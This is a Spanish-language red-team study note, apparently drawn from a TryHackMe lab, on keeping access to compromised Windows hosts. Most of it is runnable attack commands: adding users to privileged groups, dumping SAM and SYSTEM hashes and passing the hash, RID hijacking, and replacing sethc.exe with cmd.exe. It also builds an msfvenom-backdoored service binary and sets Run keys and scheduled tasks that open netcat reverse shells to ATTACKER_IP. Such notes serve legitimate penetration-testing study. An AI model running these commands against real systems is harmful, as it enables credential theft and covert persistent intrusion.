Red Team

Persistencia

#auth#endpoint#redteam

La persistencia es el conjunto de técnicas que permiten a un atacante mantener el acceso a un sistema comprometido sin necesidad de pasar de nuevo por la fase de explotación. Se establece…

Definición

La persistencia es el conjunto de técnicas que permiten a un atacante mantener el acceso a un sistema comprometido sin necesidad de pasar de nuevo por la fase de explotación. Se establece lo antes posible tras obtener acceso inicial para protegerse ante: parches que cierran la vulnerabilidad original, expiración de credenciales, o detección por el equipo azul.

Contexto


1. Manipulación de usuarios y grupos

Agregar usuario al grupo Administrators (directa, ruidosa)

Terminal window
net localgroup administrators thmuser0 /add

Agregar al grupo Backup Operators + acceso remoto (más sigilosa)

El grupo Backup Operators puede leer/escribir cualquier archivo del sistema ignorando DACLs — sin aparecer como Administrador.

Terminal window
# Añadir a Backup Operators
net localgroup "Backup Operators" thmuser1 /add
# Añadir a Remote Management Users para WinRM
net localgroup "Remote Management Users" thmuser1 /add
# Desactivar LocalAccountTokenFilterPolicy (necesario para que los grupos tengan efecto remoto)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Extraer SAM + SYSTEM con el grupo Backup Operators:

Terminal window
# Desde evil-winrm como thmuser1
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak

Volcar hashes con impacket:

Terminal window
python3 secretsdump.py -sam sam.bak -system system.bak LOCAL

Pass-the-Hash con el hash de Administrator:

Terminal window
evil-winrm -i MACHINE_IP -u Administrator -H <NT_HASH>

2. Privilegios especiales y Security Descriptors

Asignar SeBackupPrivilege + SeRestorePrivilege directamente (sin cambiar grupos)

Terminal window
# Exportar política de seguridad actual
secedit /export /cfg config.inf
# Editar config.inf: añadir el usuario a SeBackupPrivilege y SeRestorePrivilege
# Ejemplo: SeBackupPrivilege = *S-1-5-32-544,*S-1-5-21-...-<RID_USUARIO>
# Reimportar la política
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

Modificar Security Descriptor de WinRM (sin añadir al grupo Remote Management Users)

Terminal window
# Desde sesión GUI con privilegios de administrador
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
# → Añadir el usuario con Full Control en la ventana emergente

Con esta técnica, net user thmuser2 mostrará al usuario como miembro sólo de Users — sin señales de alarma visibles.


3. RID Hijacking

Modificar el RID en el registro SAM para que un usuario sin privilegios obtenga el token de acceso del Administrador (RID 500).

Terminal window
# Ver SIDs/RIDs de todos los usuarios
wmic useraccount get name,sid
# → Administrador: S-1-...-500 thmuser3: S-1-...-1010
# El RID de thmuser3 en el registro SAM está en:
# HKLM\SAM\SAM\Domains\Account\Users\<RID_HEX>\F
# Modificar el RID (requiere privilegios de SYSTEM)
# Usar PsExec para obtener sesión SYSTEM:
PsExec64.exe -i -s regedit.exe
# → Navegar a HKLM\SAM\SAM\Domains\Account\Users\000003F2\F
# → Cambiar el valor del RID (offset 0x30) de 0x03F2 (1010) a 0x01F4 (500)

Tras el cambio, thmuser3 recibirá el token de Administrador al autenticarse.


4. Backdoors en servicios existentes (ejecutables de servicio)

Modificar un servicio legítimo para que ejecute un payload adicional antes de lanzar el servicio real. Técnica: Backdoor en ejecutable de servicio.

Terminal window
# Generar payload que se integra en el servicio
msfvenom -a x64 --platform windows -x <servicio_legitimo.exe> -k \
-p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 \
-b "\x00" -f exe -o <servicio_backdoor.exe>

Sustituir el ejecutable del servicio y reiniciarlo.


5. Backdoors en la pantalla de inicio de sesión (Accessibility Features)

Reemplazar accesibilidad (sethc.exe = Sticky Keys, utilman.exe = Utility Manager) por cmd.exe para ejecutar comandos como SYSTEM antes de autenticarse.

Terminal window
# Desde sesión con privilegios de admin
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

En la pantalla de login: pulsar Shift 5 veces → aparece cmd.exe como SYSTEM.

Para utilman.exe: pulsar Win+U en la pantalla de login.


6. Persistencia en el registro (Run Keys)

Terminal window
# Ejecutar payload en cada login del usuario actual
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BackdoorApp /t REG_SZ /d "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4449" /f
# Para todos los usuarios (requiere admin)
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v BackdoorApp /t REG_SZ /d "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4449" /f

7. Tareas programadas persistentes

Terminal window
# Crear tarea que se ejecuta cada minuto como SYSTEM
schtasks /create /sc minute /mo 1 /tn THM-Backdoor /ru SYSTEM /tr "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4450"

Comparativa de técnicas

Técnica Sigilo Acceso obtenido Detección típica
Añadir a Administrators Bajo Admin completo Monitoreo de grupos
Backup Operators + UAC bypass Medio Admin via PtH Cambio clave registro
Privilegios especiales (secedit) Alto Admin via backup Revisión política de seguridad
Security Descriptor WinRM Alto Acceso remoto Auditoría WinRM
RID Hijacking Alto Token SYSTEM Monitoreo registro SAM
Run Keys Medio Shell al login Startup entries
Scheduled Task Medio Shell periódico Event ID 4698

Pitfalls / Errores comunes

  • No desactivar LocalAccountTokenFilterPolicy → Backup Operators no tiene efecto remoto vía WinRM.
  • Olvidar eliminar las tareas/claves de registro al finalizar el engagement.
  • Sustituir sethc.exe sin hacer backup → imposible restaurar.
  • RID hijacking requiere sesión de SYSTEM, no sólo Administrator → usar PsExec64 con -s.
  • Usar Run Keys en HKLM sin privilegios de Administrador.

Integración con otras notas

Diagrama

flowchart TD
    A[Admin Access] --> B{Técnica de Persistencia}
    B --> C[Manipulación de grupos]
    B --> D[Privilegios especiales + SD WinRM]
    B --> E[RID Hijacking]
    B --> F[Accessibility Features backdoor]
    B --> G[Run Keys / Scheduled Tasks]
    B --> H[Service executable backdoor]
    C --> I[Access via WinRM / RDP]
    D --> I
    E --> J[Token SYSTEM en login]
    F --> K[CMD como SYSTEM en pantalla login]
    G & H --> L[Shell persistente en callback]
    I & J & K & L --> M[Acceso mantenido sin re-explotación]

Referencias

  1. TryHackMe — Persistence: https://tryhackme.com/room/persistence
  2. Windows Privilege Constants: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
  3. Impacket secretsdump: https://github.com/fortra/impacket
  4. Evil-WinRM: https://github.com/Hackplayers/evil-winrm
  5. MITRE T1547 (Boot/Logon Autostart): https://attack.mitre.org/techniques/T1547/
  6. MITRE T1546.008 (Accessibility Features): https://attack.mitre.org/techniques/T1546/008/
Título original en mis apuntes: Persistence (THM)